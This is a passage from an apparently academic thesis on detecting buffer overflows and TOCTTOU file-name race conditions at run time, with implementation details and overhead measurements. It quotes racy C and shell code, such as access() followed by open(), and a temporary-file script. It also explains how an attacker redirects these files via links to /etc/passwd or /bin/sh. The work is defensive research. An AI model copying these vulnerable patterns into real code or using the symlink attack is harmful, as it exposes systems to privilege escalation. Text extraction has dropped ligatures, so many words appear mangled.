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Figure 5.6: The modied compilation stages for buer overow detection.CHAPTER 5. BUFFER OVERFLOW VULNERABILITY 65
for program variables
// the last function (main)
// declares as a constructor
// function (gcc extension)
// appends the local type
// table to the global table
void func () {}
int main (int argc, char **argv) {
  struct {
    char buf1 [32];
    void (*fptr) ();
    char buf2 [16];
  } st_buf;
  int i;
  return 0;
}
static void __$__type_table_dummy_func() {}
void __$__type_table_init(void *);
static void __$__type_table_init__$__()
{
  typedef struct ___$__Type_table __$__Type_table;
  typedef struct ___$__Func_table __$__Func_table;
  typedef struct ___$__Var_table __$__Var_table;
  struct ___$__Type_table {
    long func_cnt, global_var_cnt;
    __$__Func_table *func;
    __$__Var_table *var;
  };
  struct ___$__Func_table {
    char *id;
    long start_addr, end_addr, var_cnt, frame_top;
    __$__Var_table *var;
  };
  struct ___$__Var_table {
    char *id;
    long offset, size;
    char srctype;
    int src;
  };
  __$__Type_table *__$__table = (__$__Type_table []) {
    2, 0,
    (__$__Func_table []) {
      {"func", (long)func, (long)main, 0, 0,
        '\0'
      },
      {"main", (long)main, (long)__$__type_table_dummy_func, 6, -76,
        (__$__Var_table []) {
          {"i", -76, 4, '\0', 0},
          {"st_buf.buf1", -72, 32, '\0', 0},
          {"st_buf.fptr", -40, 4, '\0', 0},
          {"st_buf.buf2", -36, 16, '\0', 0},
          {"argc", 8, 4, '\0', 0},
          {"argv", 12, 4, '\0', 0}
        }
      }
    },
    '\0'
  };
  __$__type_table_init((void *) __$__table);
}
static void __$__type_table_init__$__() __attribute__ ((constructor));
the original
code
array constructor
declaration (gcc
extension) that builds
the local type table
// marks the end of
Figure 5.7: An example of constructor-augmented intermediary le.CHAPTER 5. BUFFER OVERFLOW VULNERABILITY 66
fptr offset start addr
end addr
ptr
size
...
...
...
Function array Variable arrays
Figure 5.8: The type table structure.
1. Oset to the stack frame pointer
2. Size of the variable
Figure 5.8 illustrates the type table structure.
Sizes of heap variables are determined at run time. To retain these information, we intercept the
dynamic memory allocator functions (malloc()) at run time and manage the type table entries of
the dynamic variables.
Range checking by copy operations
We intercept the vulnerable copy functions in the C library by preloading our shared library con-
sisting of the intercepting functions. A shared library can be preloaded by having LD PRELOAD
environment variable pointing to it. The intercepting functions in the shared library then perform
the following actions.
1. Obtain the buer size by looking up the type table, using the buer address as the key.
2. Obtain the size of the data to be copied, and compare it with the buer size.
3. Call the original functions if they are safe.
Table 5.1 shows the intercepted C library functions.CHAPTER 5. BUFFER OVERFLOW VULNERABILITY 67
strcpy strcat vsprintf stpcpy getwd gets
realpath memcpy wcscat wcscpy getcwd strncpy
strncat vsnprintf fgets memmove memccpy wcsncpy
wcsncat wmemcpy wmemmove wmemset fread read
Table 5.1: The intercepted C library functions for the buer overow detection.
Type-table lookup algorithm
We look up the type table using the buer address as the key. Dynamic variables are easy to look
up because the type table keeps their absolute addresses. However, for automatic variables the type
table keeps their relative addresses, because their absolute addresses are not known at compile time
(they are addressed relative to the stack frame).
The following algorithm locates the table entry of local variables (locating function parameters
is slightly dierent but basically the same). Figure 5.9 shows a snapshot of the stack to illustrate
the algorithm.
1. Locate the stack frame in which the variable is allocated, by comparing the frame pointer
and the variable address (the variable address should not be higher than the frame pointer,
assuming the stack grows down). Chase up the stack frames until found.
2. Locate the function entry in the type table, by comparing the return address of the next stack
frame with the function addresses in the type table.
3. Locate the variable entry (of the function) by comparing the buer address with the (frame
pointer   frame pointer oset eld).
Generating source code of intercepting functions
The C library-intercepting functions are not written manually, but are generated from a specication
le that contains the prototypes of the vulnerable copy functions (and a little more information).CHAPTER 5. BUFFER OVERFLOW VULNERABILITY 68
argv
main(int argc, char **argv)
{
   char buf[32];
   func(buf, argv[1]);
}
func(char *dst, char *src)
{
   strcpy(dst, src);
}
buf[32]
...
src (argv[1])
...
buf
frame pointer of main
frame pointer of func
frame pointer of strcpy
frame ptr of func
ret addr (addr in func)
dst (buf)
frame ptr of main
ret addr (addr in main)
buf
argv[1]
argc
Figure 5.9: A snapshot of the stack in the buer overow detection.
The function generating routine facilitates protecting other system library functions (i.e., vulnerable
copy functions in them) as well as the C library.
In order to generate a source le of intercepting functions, we need to know the following infor-
mation from the copy function being intercepted.
1. The name of the buer variable
2. The name of the data source variable, if given
3. An expression that computes the size of the source
4. Required header les for the function
The rst one is necessary in looking up the type table to obtain the buer size. The second and
the third ones are necessary in computing the size of the source data. We use these information
to determine if the copy operation (from source to buer) is safe. These information cannot beCHAPTER 5. BUFFER OVERFLOW VULNERABILITY 69
deduced from the function prototype (or from the source le in general) because they are program
context-dependent. Therefore, to obtain these information we require users to provide a specication
le.
A specication le contains a list of header les, a delimiter (%), and a list of function specica-
tions as shown below.
header file
header file
...
%
Function specification
Function specification
...
A sample specication le is shown below. The generated source le from the specication is
shown in the appendix A.
<stdio.h>
<stdlib.h>
"myheader.h"
%
char *(strcpy) (char *(dest), const char *(src));dest;src;(int) strlen (src);COPY;
int (sprintf) (char *(str), const char *(format));str;;(int) strlen (str);FORMAT;
char *(fgets) (char *(buf), int (n), FILE *(fp));buf;;(int) strlen (buf);SOURCE;
A function specication contains the following information.
1. Function prototype
2. The buer name
3. The source data name, if given
4. An expression that computes the size of the source
5. The type of the function (copy, format and source)CHAPTER 5. BUFFER OVERFLOW VULNERABILITY 70
Identiers in a function prototype (that is, the function name and the argument names) are
enclosed in parenthesis. This requirement is to make it easier to parse prototypes, and can be
removed in the future.
Currently there are three types of functions; copy, format and source, each of which needs to be
intercepted in a dierent way for the following reasons. Copy functions are given the source data as
an argument. Format functions retrieve variable number of arguments using varargs facility in the
C library, and generate the source data to be copied to the buer. Source functions generate the
source data as well.
malloc() family of functions have to be intercepted by malloc() hook functions in the C library,
not by our method. The source code of intercepting malloc() functions is therefore hand written.
5.5 Extending the correctness relation
Some programs may treat multiple variables as a single unit, like an array. The following code gives
an example (the code assumes that the variable a2 is allocated in the lowest address).
int func (int *src)
{
int i;
int a0, a1, a2;
memcpy (&a2, src, sizeof(int) * 3);
...
memcpy (&a0, 0, sizeof(int));
...
}
In the rst memcpy() our solution will raise an error because it protects each variable separately.
Although it is indeed a buer overow condition, it is nevertheless conceivable in some C programs.
This section describes an extension to our solution that accommodates such cases.CHAPTER 5. BUFFER OVERFLOW VULNERABILITY 71
5.5.1 Protecting an arbitrary grouping of variables
A solution of protecting an arbitrary grouping of variables requires the following program context-
dependent information.
1. The set of variables to be treated as one unit. In the example above, they are a0, a1 and a2.
2. The set of operations that treat them as one unit. In the example above, it is the rst memcpy()
only.
Such information cannot be deduced from the source le, since programmers can in principle ar-
bitrarily group any subsequence of variables at will. Therefore it has to be provided by programmers
(by annotating the source le, for example), which costs the transparency of the solution. Therefore
we do not attempt to solve this problem directly.
5.5.2 Protecting a stack frame as a whole
We relax the aforementioned requirements as follows, to keep our solution programcontext-independent.
1. The set of variables to be treated as one unit are all stack variables in a stack frame.
2. The set of operations that treat them as one unit are all operations.
This allows local variables to be overowed, but still protects the return address.
5.5.3 Implementation of the extension
The assumptions given above may be implemented in two ways.
1. With an additional compiler directive (cc --protect-frame for example), the type table of
the program treats all the local variables in a stack frame as one.
2. The bounds checking algorithm is modied to add a capability of protecting a stack frame as
one unit. It uses a binary switch (PROTECT FRAME) to implement this two-level protectionCHAPTER 5. BUFFER OVERFLOW VULNERABILITY 72
scheme as follows.
if (PROTECT_FRAME == FALSE) {
// protect each variable as usual
}
else
{
// protect the stack frame as a unit
}
The current detection system opts for the second approach, in that while it is slower than the
rst one it can be turned on and o by users. We use an environment variable as the binary switch.
With this extension, the detection system is transparent as usual except that users are required
to set the environment variable if the frame-as-one protection is necessary for the program.
5.6 Experiments and measurements
5.6.1 Time overhead
Micro test
To estimate the run time overhead incurred by the range checking for each C library function, we
ran a small program that calls each C library function in a tight loop (loop count is 100,000,000).
Each function was tested 8 times with varying string length (8, 16, 32, 64, 128, 256, 512 and 1024).
If an intercepted function is 2.5 times slower then the overhead is 150 percent ((2:5 1)100). Our
test were performed on a PC with AMD Duron 700MHz running Redhat Linux 6.2. Figure 5.10
shows the result.
The table lookup is done by binary search, so the overhead incurred by the table lookup will
increase logarithmically as the number of functions and variables in the executable le increases. In
sum, the micro test shows the worst case scenario and we expect better performance in real programsCHAPTER 5. BUFFER OVERFLOW VULNERABILITY 73
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Figure 5.10: Time overhead of each functions from the buer overow detection.
(which would do some useful work besides just calling C library copy functions).
Macro test
Figure 5.2 is the result of testing three programs (enscript 1.6.1, tar 1.13 and java 1.3.0). It shows
the increase in size of executable les due to the augmented type table, the number of calls to C
library functions that those program made during the test run, and the run time. Overhead in the
macro test is no more than 4% for substantial runtimes, with the short java test showing a 20%
overhead (note that the absolute runtime overhead is minimal).
enscript printed a text le of size 100 Mbytes (to /dev/null). tar zipped the linux kernel
source directory twice. Java ran antlr [59] to parse the GNU C grammar. The run time is the
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Program Libc function count Run time (original) Run time (type table) Slowdown
enscript 6,345,760 calls 3 min. 01 sec 3 min. 10 sec 0.04%
tar 23,883 1 min. 12 sec 1 min. 15 sec 4%
java 20,552 5 sec 6 sec 20%
Table 5.2: Time overhead of three applications from the buer overow detection.
Program File size (original) File size (with type table) Overhead
enscript 348,503 bytes 368,665 bytes 5.7%
tar 425,958 463,140 8.7%
java 26,016 28,698 10.3%
Table 5.3: Space overhead of three applications from the buer overow detection.
5.6.2 Space overhead
Table 5.3 shows the increase in the size of the compiled programs, due to the addition of the type
table constructor functions.
5.7 Accuracy
Table 5.4 shows features of our approach and well-known, dynamic solutions so as to compare their
accuracy (general descriptions of them are found in section 2.2.1).
The level of detection of our solution (along with Libsafe) is the weakest. However, a buer
overow would not occur at the instruction-level (strictly speaking, there is no \overow" at the
instruction level: there is only a type error), unless the programmer explicitly casts data types badly
(e.g., '(int) c = 1;' where c is of character type). A buer overow is most likely to occur at the
function level, where pointers are used to manipulate arrays. Arrays are not a rst-class type in C
language and thus cannot be type checked (which is the source of the buer overow vulnerability).
Moreover, the C library contains numerous copy functions that are sucient for most programming
tasks. Therefore, monitoring only the those functions would be most cost-eective in detecting buer
over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Level of detec-
tion
Point of detec-
tion
Unit of protec-
tion
Overhead
StackGuard [25] function (all) deferred until
function returns
return address 7 - 80%
StackShield [96] function (all) deferred until
function returns
return address similar to Stack-
Guard
Libsafe [9] function (C li-
brary)
before overow
occurs
each stack frame < 15%
Our solution function (shared
libraries)
before overow
occurs
individual vari-
able, array
0.04 - 20%
Austin et al. [8] instruction before overow
occurs
individual vari-
able, array
230 - 640%
Jones and
Kelly [38]
instruction before overow
occurs
individual vari-
able, array
500 - 600%
Table 5.4: Accuracy features of buer overow solutions.
The point of detection of our solution (along with the solution by Austin et al.'s and Jones and
Kelly's) is right before every copy operation, and is the strongest.
The unit of protection of our solution (along with the solution by Austin et al.'s and Jone and
Kelly's) is the strongest: the individual variable of primitive type (or each subeld if composite
type) and arrays.
In sum, accuracy of our solution lies between StackGuard/StackShield/Libsafe (fast but inaccu-
rate) and solutions by Austin et al. and by Jones and Kelly (slow but accurate). The latter solutions
are accurate but too slow to be used in production systems. Our solution is more accurate and faster
than the former solutions.Chapter 6
Race condition in the le name
space
Multiprocessing environments such as Unix are susceptible to race conditions on the le name space,
since processes share les in the system. A process accessing a le may get unexpected results if the
binding between the le name and the le object is modied by another process. Such a vulnerability
is known as a Time-of-check-to-time-of-use (TOCTTOU) aw [2, 14, 45], one of the oldest known
security aws. Bishop [14] dened the TOCTTOU aw and its subclass, the TOCTTOU binding
aw as follows.
Denition 6.1 (A TOCTTOU aw). A TOCTTOU aw occurs when a program checks for
a particular characteristic of an object, and takes some action based on the assumption that the
characteristic still holds true when in fact it does not.
Denition 6.2 (TOCTTOU binding aws). TOCTTOU binding aws arise when object iden-
tiers are fallaciously assumed to remain bound to an object.
In this chapter we derive a solution that detects TOCTTOU binding aws, which we call race
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condition in the le name space [49]. The underlying correctness relation 4.1 requires program con-
textual information, which is not easy to obtain even with static analysis (discussed in section 6.5.1).
We relax this correctness relation to derive a solution that does not require the program contex-
tual information. This shows that it is still possible to derive a (relaxed) solution, even if a direct
implementation of the correctness relation seems infeasible. We also estimate the run-time over-
head of the original invariant relationship from statistics gathered from the experiments with the
implementation.
6.1 Denition
Bishop characterized TOCTTOU binding aws using the following three denitions.
Denition 6.3 (The programming condition). The programming condition is the existence of
an interval between two le operations that refer to the same le object, where the second depends
on one or more assumptions from the result of the rst.
Denition 6.4 (The programming interval). The programming interval is the interval itself.
Denition 6.5 (The environmental condition). The environmental condition is the possibility
of aecting the assumption created by the rst operation.
Both the programming condition and the environmental condition must hold for there to be an
exploitable TOCTTOU binding aw.
We extend the denition of programming condition to be two or more semantically-related le
operations that refer to the same le name, i.e., a check operation and one or more use operations
(note that Bishop's denition refers to a pair of check and use operations).
We do not consider a check and use pair that refers to two dierent le names a TOCTTOU
binding aw. We regard it as an input validation error, not a race condition, even if there is aCHAPTER 6. RACE CONDITION IN THE FILE NAME SPACE 78
semantic dependency between the two operations. That is, the binding of the use operation must
be validated since it is independent from the binding of the check operation.
6.2 Examples
6.2.1 Typical binding aw
The following code illustrates a typical binding aw found in the lpr print spooler [3, 21].
if (!access(argv[1], O_RDONLY)) {
fd = open(argv[1], O_RDONLY);
print(fd);
}
The program checks the real user id (instead of the eective user id) before opening the le.
However, the code is vulnerable to a race because the access() and open() calls are not atomic.
For example, if the attacker can change the le name to be a link to ``/etc/passwd''after access()
is called but before open(), then the password le is opened instead.
6.2.2 Binding aw with multiple use operations
The following code shows a binding aw found in RDist, a program that maintains identical copies
of les over multiple hosts [40, 41, 51].
fd = creat(FILE); // check
write(fd, ...);
close(fd);
chown(FILE, owner); // use
chmod(FILE, pmode); // use
rename(FILE, ``/user/data''); // use
The program creates a le and then changes the owner and permission mode of the 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the owner and permission mode of the le assumes that the binding of the created le is intact. That
is, creat() is a check operation, and chown(), chmod(), and rename() are use operations. If the
attacker can change the le name to be a link to ``/bin/sh'', after creat() but before chown(),
then the ownership and the permission mode of ``/bin/sh'' is changed instead [40, 41].
6.2.3 Temporary le race
The temporary le race vulnerability is the most common among TOCTTOU binding aws [65, 68,
69, 70, 71, 72, 77, 78, 79, 81, 83, 84, 85, 88, 89]. A typical temporary le race occurs when a program
calls stat() to test that the temporary le does not exist, and open(O CREAT) to create the le.
This is is vulnerable to a race because the stat() and open() calls are not atomic. If the attacker
creates a link pointing to ``/etc/passwd'' after stat() and before open(O CREAT), the password
le will be opened instead [24] 1.
The following code shows a binding aw in RCS (Revision Control System) version 5.7 [58].
targetname = makedirtemp(1); // calls mktemp()
fopen(targetname, ``w'');
The above code is essentially the same as typical temporary le race condition; makedirtemp()
simply encapsulates mktemp(), and mktemp() in turn makes one or more stat() calls to nd a
unique name.
6.2.4 Binding aw spanning multiple processes
The following shell script [57] is an example of a TOCTTOU binding aw that spans multiple pro-
cesses (each command runs in a separate process).
1Calling open(O CREAT|O EXCL) would prevent the race attack, but many programs ignore the O EXCL ag and thus
are vulnerable. Also, O EXCL is said to be broken on NFS le systems and thus would not prevent a race [61].CHAPTER 6. RACE CONDITION IN THE FILE NAME SPACE 80
rm -rf /tmp/tempfile.$$
sort /some/file > /tmp/tempfile.$$
The shell script veries that the temporary le (with the pid appended) does not exist by deleting
it, then creates a new le with that name. The shell script is vulnerable to a race because rm and
sort are not atomic.
The pid may be read from the /proc directory, or the attacker may create many links with
dierent pids so that one of them would work.
6.3 Properties
This section discusses the properties of the programming condition/interval to determine the vul-
nerable interval.
Denition 6.6 (Vulnerable interval). An interval between two le operations during which the
TOCTTOU binding aw can actually be exploited.
6.3.1 Stateless le operations
The programming condition may be vulnerable to binding aws, depending on whether le operations
are stateless or stateful.
Denition 6.7 (Stateless le operation). File operation that refers to the le by name, such as
open() and stat().
Denition 6.8 (Stateful le operation). File operation that refers to the le by descriptor, such
as fstat(), read(), and write().
A programming interval is potentially exploitable if either check or use operation (or both) is
stateless. This is because stateless operations need to rst resolve the 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Interval
Programming Vulnerable
interval
file
if (check(filename))
  use(filename); ?
(a) name / name
file
file
file
Programming Condition
fd = open (filename);
if (check(fd))
  use(filename); ?
(b) descriptor / name
fd = open (filename);
if (check(filename))
  use(fd);
?
(c) name / descriptor
fd = open (filename);
if (check(fd))
  use(fd);
(d) descriptor / descriptor
Figure 6.1: Programming condition, programming interval, and vulnerable interval.
appropriate le object. If the check and use operations independently resolve the le name, then the
le name may be resolved to dierent le objects. Three exploitable programming conditions are
illustrated in Figure 6.1. In (b) and (c), the open() may have been called from the parent process.
(d) is not vulnerable because check and use operations are always point to the correct object.
6.3.2 Vulnerable intervals
The programming interval is not always the same as the vulnerable interval. The programming
interval matches the vulnerable interval only if both check and use operations are stateless; otherwiseCHAPTER 6. RACE CONDITION IN THE FILE NAME SPACE 82
it does not. This is because a le descriptor is pinned to the le object at the time open() is called,
so subsequent stateful le operations always refer to the same le object even if the le name binding
has been changed. As gure 6.1 shows, the vulnerable interval consists only of stateless check/use
operations of the programming interval, and the preceding open() for stateful check/use operations.
We can safely ignore stateful operations even if they are originally part of the programming interval.
The check operation of a vulnerable interval is either the stateless check operation of the pro-
gramming interval or the preceding open() for stateful check/use operations, whichever comes rst.
The use operations are the remaining stateless check/use operations of the programming interval and
open() for stateful check/use operations. Throughout the rest of the chapter we will only consider
the check and use operations of the vulnerable interval, not of the programming interval.
There may be stateless operations in the program that are not part of any vulnerable interval.
We call these spurious le operations, and can safely ignore them.
Denition 6.9 (Spurious le operation). A stateless operation in the program that is not part
of any vulnerable interval.
6.4 The verication algorithm
The base algorithm maintains a table of le bindings fle name, le stateg. The le state is a unique,
direct pointer to the le object (such as the a pair of fdevice number, inode numberg) for existing
les, or some indication (such as NULL) otherwise. It performs the following steps when executing
a vulnerable interval.
1. On the check operation, create an entry fname, stateg in the binding table.
2. On each use operation,
(a) Compare the current binding with the saved one in the binding table. If they dier then
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(b) If the operation changes the binding then update the saved one also.
(c) If it is the last use operation then delete the entry from the binding table.
6.4.1 Program contextual information
The base algorithm requires two pieces of information before proceeding.
First, all the vulnerable intervals (check and use operations) in the program must be known.
Second, because a le may be accessed and modied cooperatively by multiple processes, a
binding anomaly may involve multiple processes. For example:
1. A le may be checked by the parent process and used by a child process who inherited the le
descriptor ((b) and (c) in gure 6.1 may fall in this category).
2. A computation may involve multiple, cooperating processes (such as shell scripts), where a le
may be checked by one process and used by another (section 6.2.4).
Therefore, we must identify the group of cooperating processes, and maintain a binding table per
such group. The group of cooperating processes is a branch of the process hierarchy, such as a parent
and a child processes (the rst example), or a shell and its children processes (the second example).
6.4.2 Correctness
Binding attacks can occur only within vulnerable intervals, and any occurrence of a binding anomaly
invariably violates the semantics of the program due to the semantic dependency between the check
operation and the use operation. Therefore the base algorithm is free from false positives and
negatives.
6.4.3 Eciency
As mentioned in section 6.3.2, our solution ignores stateful operations. In most programs stateless
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find, the objective of which is to operate on the le name space itself). A typical I/O intensive
program would open a le and issue a series of read or write calls; in other words, the frequency
of stateful operations would usually be much higher then that of stateless operations. We think
that, as a result, our solution would incur low run-time overhead in most cases. The results of our
experiments in section 6.6 support this claim.
6.5 A reduced algorithm by relaxing the correctness relation
In this section, we describe a reduced algorithm that is program context-independent, by relaxing and
approximating the required program contextual information (imposed by the underlying invariant
relationship) at the cost of reduced accuracy and run-time eciency.
6.5.1 Relaxing the vulnerable interval
As Bishop pointed out, even with static analysis it is dicult to identify programming conditions
(hence vulnerable intervals) because it requires understanding of the program semantics. File op-
erations cannot simply be partitioned into check and use operations. For example, stat() can be
called for testing the existence of the le (a check operation) or for obtaining the le attributes (a
use operation) [14]. In other words, we cannot derive vulnerable intervals from a sequence of le
operations without knowing in what context they are called.
Therefore, without knowing true vulnerable intervals, we conservatively assume that a vulnerable
interval always exists in two or more stateless le operations if they refer to the same le name. A
problem with this is that two such le operations do not delimit a true vulnerable interval if they are
not semantically related. Such false vulnerable intervals introduce the possibility of false positives
and increase run-time overhead.
The reduced algorithm does not assume any, a priori information about the vulnerable intervals
of the program, not even the loosely de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stateless le operation, the reduced algorithm does not know whether it is a check, a use, or a
spurious le operation. Therefore, on executing a stateless le operation, the reduced algorithm
conservatively assume that
1. Every stateless le operation is either a check or a use operation, not a spurious le operation.
2. The duration of a vulnerable interval is the entire process time.
That is, on every le operation we add the le name to the binding table if not present already (as
a possible check operation), and perform binding checking if present (as a possible use operation).
A problem is that spurious le operations become false vulnerable intervals, increasing the false
positive rate and the run-time overhead.
Also, without knowing where a vulnerable interval ends, once an entry is added to the binding
table we cannot safely delete it until the program terminates.
6.5.2 Approximating the group of cooperating processes
Identifying the group of cooperating processes also requires understanding of program semantics
because we do not in general know which branch of the process hierarchy is a group of cooperating
processes. Therefore we reduce the problem of identifying such groups as follows.
In modern versions of Unix that support job control, each process belongs to a process group. A
process group is a collection of one or more related processes. A session is a collection of one or more
process groups, possibly with a controlling terminal. Process groups are used in distributing signals
and, in particular, in controlling the terminal. Figure 6.2 (derived from [99]) shows three process
groups comprising a session that are generated by the two shell commands. We regard the Unix
process group as an approximation of the group of cooperating processes, so the reduced algorithm
maintains a binding table per Unix process group.
A problem with this is that the Unix process group might not exactly match with the real group
of cooperating processes, which introduces the possibility of false positives and negatives.CHAPTER 6. RACE CONDITION IN THE FILE NAME SPACE 86
proc3 proc4
proc5 background
process group
binding table binding table binding table
% proc1 | proc2 &
% proc3 | proc4 | proc5
shell commands:
controlling
terminal
terminal input and
terminal-generated signals
proc1
proc2
foreground process group background process group
session
login shell
Figure 6.2: Process groups that represent cooperating processes.
6.5.3 Implementation
The implementation of the reduced algorithm consists of C library-intercepting functions and a
dispatching system call. We intercept the le operations in the C library to maintain the binding
table in user space, to accommodate the possibly large size of the binding table. We added a
dispatching system call to perform binding checking in kernel space, to make binding checking free
from race conditions.
The intercepting functions look up the binding table to obtain the saved le state, and call the
dispatcher. The dispatcher compares the saved state with the current state before calling the original
system call.
The binding table is a hash table with entries fle name, stateg. The state can be the inode
number, NOT A FILE if it is not a valid le name, or INIT (the initial state when an entry is added
to the binding table). The binding table is created in a shared memory segment by the rst process
in a Unix process group. Other processes in the same group attach the segment to their address
spaces. Operations on the binding table are guarded by a binary semaphore per process group.CHAPTER 6. RACE CONDITION IN THE FILE NAME SPACE 87
We intercept these and
call the dispatching
system call
stat, lstat, stat64, lstat64, access, readlink, chmod, chown, lchown,
utime, chdir, mkdir, rmdir, link, unlink, rename, symlink, truncate,
open, creat
We intercept these and
call the wrapper func-
tions above
xstat (stat), lxstat (lstat), xstat64 (stat64), lxstat64 (lstat64),
open (open), open64 (open), open64 (open), remove (rmdir/unlink)
These are C library-
calling functions,
hence intercepted
automatically
utimes (utime), fopen ( open), freopen ( open), opendir ( open64),
tmpnam (lstat64), tempnam (lstat64), mktemp (lstat64), mkstemp
(open), tmple (open/unlink)
Table 6.1: The intercepted C library functions for the race condition detection.
Intercepting C library functions
We intercept C library functions by preloading our shared library consisting of the intercepting
functions (table 6.1 shows the intercepted, stateless le operations in the C library). The intercepting
functions maintain the binding table and call the dispatcher as follows.
1. Resolve the absolute path name and look up the le in the binding table. Add an entry if not
present, initializing the state to INIT.
2. Call the dispatching system call with these parameters:
1. The original system call number,
2. The address of the state eld of the table entry obtained by the lookup (so that the
dispatching system call can update the le state directly), and
3. The original parameters, if any.
3. If the system call fails due to an integrity checking failure then raise a TOCTTOU binding
error.
The dispatching system call
The dispatching system call was implemented as a kernel module, which performs binding checking
and dispatches the original system calls as follows.CHAPTER 6. RACE CONDITION IN THE FILE NAME SPACE 88
1. Perform binding checking by comparing the current binding of the le name with the le state
obtained from the parameter. If they are dierent then return the integrity checking failure
(skip this step if the state is INIT).
2. Call the original system call.
3. If the operation changes the binding then update the state eld of the binding table entry (the
binding is changed if the operation is, for example, creat() or unlink()). Also, the initial
state INIT is updated with (1) the inode if it is a valid le name, or (2) NOT A FILE if not.
6.6 Experiments and measurements
We experimented on 20 applications. Most of the tests reect normal program use except find,
which touched all the les and directories in the system, and tar, which tar'ed a Linux source
directory containing 7993 les and directories. These two were used as worst-case scenarios for our
approach.
From the measured overhead of the reduced algorithm, we deduced the overhead of the base
algorithm. Although the run-time overhead of the base algorithm is not directly measured but
calculated from the measurement, we attempted to derive a reasonably tight upper bound for the
base algorithm. The method for deducing space overhead is explained in section 6.6.1 and the
method for deducing time overhead is explained in section 6.6.2.
Table 6.2 shows a summary of the measurements and the deduction. Appendix C shows the raw
results of the experiments and the deduction, and explains how we tested each programs.
Although the current implementation of the reduced algorithm is in principle susceptible to false
positives and negatives, none were found during the experiments.
Among 20 applications, make involves multiple cooperating processes. Typically, make probes an
object le to see if it does not exist or is outdated, compiles the source le if so, and links the objectCHAPTER 6. RACE CONDITION IN THE FILE NAME SPACE 89
Space overhead (in bytes) Time overhead
Base Reduced Base Reduced
Average 2,100 168,000 2% 5.2%
Median 240 2,600 0.6% 1%
Min. 0 203 0% 0%
Max. 33,100 2,400,000 8.6% 28%
Table 6.2: Summary of the experiment results of the race condition detection.
le with others. Since the compilation is done in a separate process, our initial implementation that
maintained the binding table in each process reported a binding anomaly on every object le, which
was the anticipated behavior. Our current implementation that maintains the binding table per
Unix process group does not have this problem.
Our experiments were performed on a PC with an 800MHz Celeron processor and 256MB of
memory running Redhat Linux 7.3 (kernel 2.4.18 and GNU C library 2.2.5). The binding table is
created in a shared memory segment. The size of the binding table is limited by the maximum size
of a shared memory segment (32 MB) and the maximum number of shared memory segments per
system/process (4096), which is certainly more than enough.
6.6.1 Space overhead
Table 6.3 compares the space overhead of the base and reduced algorithms from 20 programs.
We performed stress tests on tar and find (which accessed large number of les). In the reduced
algorithm, they indeed yielded worst space overhead. emacs also yielded high space overhead,
which was unexpected; it turned out that emacs implicitly accessed numerous les in the emacs
conguration directory (/usr/share/emacs) that contains 1169 les and directories.
However, the based algorithm has very low space overhead on these two programs, reasons for
which are explained in section 6.6.1.CHAPTER 6. RACE CONDITION IN THE FILE NAME SPACE 90
Base Reduced
ls 60 bytes 1,000
grep 0 27,000
tar 60 699,000
enscript 60 2,600
gzip 120 203
lpr 120 2,000
make 33,100 77,000
indent 0 565
latex 660 7,000
nd 900 2,400,000
emacs 2,600 124,000
xpdf 120 6,800
ftp 240 832
telnet 180 456
man 1,500 6,700
netscape 1,900 3,400
ping 120 246
mount 180 1,500
traceroute 120 335
chfn 180 1,700
Table 6.3: Space overhead of the base and the reduced algorithm.CHAPTER 6. RACE CONDITION IN THE FILE NAME SPACE 91
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Figure 6.3: An example of the binding degree.
Metrics for computing the space overhead of the base algorithm
Let us use the following denitions in computing the space overhead of the base algorithm.
1. Binding set is the set of all the vulnerable intervals with distinct le names. The binding set
is therefore the maximum number of table entries.
2. Binding degree is the number of the vulnerable intervals that overlap at an execution point.
That is, binding degreei is the number of overlapping vulnerable intervals at the ith execution
point.
3. Maximum binding degree of a program indicates the minimum number of table entries that
are necessary to accommodate binding degree at any execution point. The maximum binding
degree therefore indicates the space overhead of the base algorithm. Figure 6.3 shows a binding
set of an execution period, consisting of ve vulnerable intervals with the maximum binding
degree of three (the black round points are check operations, the white round points are last
use operations, and the rectangular points are spurious le operations).
The space overhead of the base algorithm depends only on the maximum binding degree. It does
not depend on the program size, the program functionality, or any other criteria.
To estimate the maximum binding degree from the experiments on the reduced algorithm, we
rst deduced the vulnerable intervals of a program as follows.
 During the execution, we maintain a counter (used as a pseudo timer) that is increased on
every le operation. Using the counter, in each binding table entry we record the check time
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 After the execution, table entries with nonzero use time are identied as vulnerable inter-
vals, considering them as having been checked and used. Entries with a check time only are
considered as spurious le operations.
Using the identied vulnerable intervals, we then computed the following three measures from
the nal state of the binding table.
 The binding set size, the number of vulnerable intervals.
 The maximum binding degree was computed by sorting all the vulnerable intervals and com-
puting the binding degrees of the entire period of the program execution, as illustrated in
Figure 6.3.
 The binding table size was computed by multiplying the maximum binding degree by the
estimated size of each table entry, which was estimated as 60 bytes (12 bytes for the binding
table entry data structure itself, plus the size of the absolute path name that is estimated as
48 characters, the average length of absolute path names in the tested platform). This is the
estimated space overhead of the base algorithm.
Properties of the space overhead of the base algorithm
As explained before, space overhead of the base algorithm is a function of the maximum binding
degree. On the other hand, space overhead of the reduced algorithm is a function of the binding set
size (the number of binding table entries), because all the binding degrees in the reduced algorithm
overlap and therefore the maximum binding degree is the same as the binding set size.
The binding set size of the reduced algorithm scales with the number of les accessed by the
program (as high as 34,799 in our experiments, table 6.4). However, the maximum binding degree
of the base algorithm was consistently very low regardless of how many les the program accessed
(except make); the reasons are that (1) the binding set size of the base algorithm is smaller thanCHAPTER 6. RACE CONDITION IN THE FILE NAME SPACE 93
that of the reduced algorithm by avoiding spurious le operations, and (2) most vulnerable intervals
of the base algorithm are disjoint.
1. Spurious le operations in the reduced algorithm
The binding set size of the reduced algorithm was larger than that of the base algorithm because
the binding set of the reduced algorithm contains unnecessary entries made by spurious le
operations.
The dierence was substantial in grep, tar, find, and emacs, which accessed many les; in
our experiments, we ran grep over 435 les, tar over the Linux kernel source directory that
contains 7993 les and directories, and find over the entire le system. emacs implicitly
accessed numerous les in the emacs installation directory (/usr/share/emacs) that contains
1169 les and directories.
Table 6.4 shows the dierence between the binding set size of the reduced and the base algo-
rithm (the fourth and the third column, respectively).
2. Disjoint vulnerable intervals in the base algorithm
The binding set size of the base algorithm was larger than the maximum binding degree, which
was under 50 for all programs (except make), even if the programs accessed a large number of
les. This is because the vulnerable intervals are mostly disjoint. In particular, tar and find
have large binding sets (7697 and 8974 respectively) yet have very small maximum binding
degrees (1 and 15).
Table 6.4 also shows the dierence between the binding set size and the maximum binding
degree of the base algorithm (the third and the second column, respectively).
An exception was make. We ran make to compile the GNU enscript source distribution
containing 371 les and directories, which yielded the largest maximum binding degree (553)
in our experiments. The reason is that vulnerable intervals were stretched and overlapped overCHAPTER 6. RACE CONDITION IN THE FILE NAME SPACE 94
